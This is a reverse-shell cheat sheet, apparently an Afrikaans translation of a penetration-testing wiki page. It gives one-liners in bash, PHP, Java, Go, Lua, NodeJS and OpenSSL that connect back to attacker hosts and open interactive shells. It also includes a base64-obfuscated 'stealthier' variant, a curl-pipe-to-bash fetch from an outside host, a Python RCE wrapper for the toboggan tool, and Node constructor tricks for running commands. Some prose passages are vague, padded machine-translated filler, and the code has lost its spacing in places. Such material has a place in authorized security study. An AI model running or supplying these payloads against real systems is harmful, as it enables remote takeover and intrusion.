curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Simbool veilige dop
Moenie vergeet om te kontroleer met ander doppe: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, en bash.
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Skulverduideliking
bash -i: Hierdie deel van die bevel begin 'n interaktiewe (-i) Bash-skul.
>&: Hierdie deel van die bevel is 'n kort notasie vir die omleiding van beide standaard uitvoer (stdout) en standaard fout (stderr) na dieselfde bestemming.
/dev/tcp/<AANVALLER-IP>/<POORT>: Dit is 'n spesiale lêer wat 'n TCP-verbinding met die gespesifiseerde IP-adres en poort voorstel.
Deur die uitset- en foutstrome na hierdie lêer om te lei, stuur die bevel effektief die uitset van die interaktiewe skul-sessie na die aanvaller se masjien.
0>&1: Hierdie deel van die bevel lei standaard inset (stdin) om na dieselfde bestemming as standaard uitvoer (stdout).
Wanneer daar 'n Remote Code Execution (RCE) kwesbaarheid binne 'n Linux-gebaseerde webtoepassing hanteer word, kan die bereiking van 'n omgekeerde skul belemmer word deur netwerkverdedigings soos iptables-reëls of ingewikkelde pakketfilteringsmeganismes. In sulke beperkte omgewings behels 'n alternatiewe benadering die vestiging van 'n PTY (Pseudo Terminal) skul om meer doeltreffend met die gekompromitteerde stelsel te kan interaksieer.
'n Aanbevole instrument vir hierdie doel is toboggan, wat die interaksie met die teikenumgewing vereenvoudig.
Om toboggan doeltreffend te benut, skep 'n Python-module wat toegespits is op die RCE-konteks van jou teikenstelsel. Byvoorbeeld, 'n module genaamd nix.py kan as volg gestruktureer word:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
En dan kan jy hardloop:
toboggan-mnix.py-i
Om direk 'n interaktiewe dop te benut. Jy kan -b byvoeg vir Burpsuite-integrasie en die -i verwyder vir 'n meer basiese rce-omslag.
Die voorvoegsel en agtervoegsel van jou lading (indien enige)
Die manier waarop die lading gestuur word (koppe? data? ekstra inligting?)
Daarna kan jy net bevele stuur of selfs die upgrade bevel gebruik om 'n volledige PTY te kry (let daarop dat pype met 'n benaderde vertraging van 1.3s gelees en geskryf word).
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
Java is 'n programmeertaal wat algemeen gebruik word vir die ontwikkeling van programme en toepassings wat op verskeie platforms kan hardloop. Dit is 'n objek-georiënteerde taal wat baie gewild is vir die ontwikkeling van groot sagtewareprojekte. Java-kode word gewoonlik in platte tekst lêers geskryf met die .java lêeruitbreiding. Die kode word dan deur 'n Java-kompilator vertaal na masjienkode wat deur 'n Java virtuele masjien (JVM) uitgevoer kan word.
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
Inleiding
Lua is 'n kragtige, effektiewe, klein, en aanpasbare skriptaal wat dikwels gebruik word in die wêreld van sagteware-ontwikkeling. Dit word dikwels gebruik vir die skryf van skripte, konfigurasie, en selfs vir die ontwikkeling van volwaardige sagteware-toepassings. Lua is bekend vir sy vinnige uitvoering en klein geheue-afdruk, wat dit 'n gewilde keuse maak vir verskeie toepassings.
Lua Skulpaal
Lua-skulpaal is 'n kragtige tegniek wat gebruik word om Lua-skripte uit te voer binne 'n ander program of toepassing. Dit bied die vermoë om dinamies Lua-kode te laai en uit te voer tydens die uitvoering van 'n program. Hierdie tegniek is baie nuttig vir die aanpassing en uitbreiding van sagteware sonder om die bronkode te wysig.
Lua Skulpaal in Linux
In Linux-omgewings kan Lua-skulpaal gebruik word om sagteware aan te pas, sagteware-uitbreidings te skep, en selfs om sagteware te manipuleer vir spesifieke doeleindes. Dit bied 'n kragtige manier om die funksionaliteit van sagteware uit te brei sonder om die oorspronklike bronkode te wysig. Met Lua-skulpaal kan gebruikers sagteware aanpas en verbeter sonder om diep in die sagteware se interne werking in te gryp.
Lua Skulpaal Vir Hacking
Vir hackers kan Lua-skulpaal 'n nuttige tegniek wees om sagteware te manipuleer vir hul eie doeleindes. Deur Lua-skripte te gebruik, kan hackers sagteware aanpas, funksionaliteit uitbrei, en selfs nuwe funksies byvoeg sonder om die oorspronklike bronkode te wysig. Hierdie maak dit moontlik vir hackers om sagteware aan te pas vir spioenasie, datakaping, en selfs vir die uitvoering van skadelike aksies sonder om opgespoor te word.
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
Die Aanvaller (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
Awk is 'n kragtige patroonherkenningstaal wat dikwels gebruik word vir die manipulasie van data en die skep van rapporte. Dit kan ook gebruik word as 'n skulpskakel in Linux om data te verwerk en te manipuleer.